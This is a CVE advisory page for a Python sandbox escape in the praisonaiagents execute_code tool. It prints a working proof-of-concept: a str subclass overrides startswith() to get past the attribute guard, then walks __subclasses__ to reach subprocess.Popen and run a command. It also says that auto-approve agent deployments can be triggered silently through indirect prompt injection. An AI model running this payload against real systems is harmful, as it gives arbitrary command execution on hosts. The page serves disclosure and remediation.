CVE-2026-34938 — Vulnerability in praisonaiagents — CVE Details
PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.89%). Schedule for your next planned update.
Does your project use an affected praisonaiagents version?
Paste your requirements.txt to check it for CVE-2026-34938 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.
Details
python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses
raise AttributeError(...)
# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
PoC
from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
try:
m = getattr(cls, mod_attr, '')
n = getattr(cls, name_attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
Advisory Timeline
- First published April 1, 2026 (239 days ago).
- Last revised November 16, 2026 — 229 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "praisonaiagents>=1.5.90"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| praisonaiagents PyPI · Affected: 0.0.1, 0.0.10, 0.0.100, 0.0.101 (+465 more) | 1.5.90 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-693Protection Mechanism FailureMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-34938ADVISORY
- https://github.com/MervinPraison/PraisonAIPACKAGE
- https://github.com/pypa/advisory-database/tree/main/vulns/praisonaiagents/PYSEC-2026-484.yamlWEB
- https://pypi.org/project/praisonaiagentsWEB
Frequently Asked Questions
- What is CVE-2026-34938?
- PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
- How do I check if my project is affected by CVE-2026-34938?
- CVE-2026-34938 affects praisonaiagents. It has a 0.9% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34938 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is an above-median EPSS score — 57.4% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-40289CRITICAL
PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions
- CVE-2026-39888CRITICAL
PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)
- CVE-2026-40288CRITICAL
PraisonAI has critical RCE via `type: job` workflow YAML
- CVE-2026-61447CRITICAL
PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets
- CVE-2026-57125CRITICAL
PraisonAI: Unauthenticated RCE via Jobs API + Approval Bypass
- CVE-2026-47392CRITICAL
PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)
- CVE-2026-40289CRITICAL
PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions
- CVE-2026-44335HIGH
PraisonAI has an SSRF bypass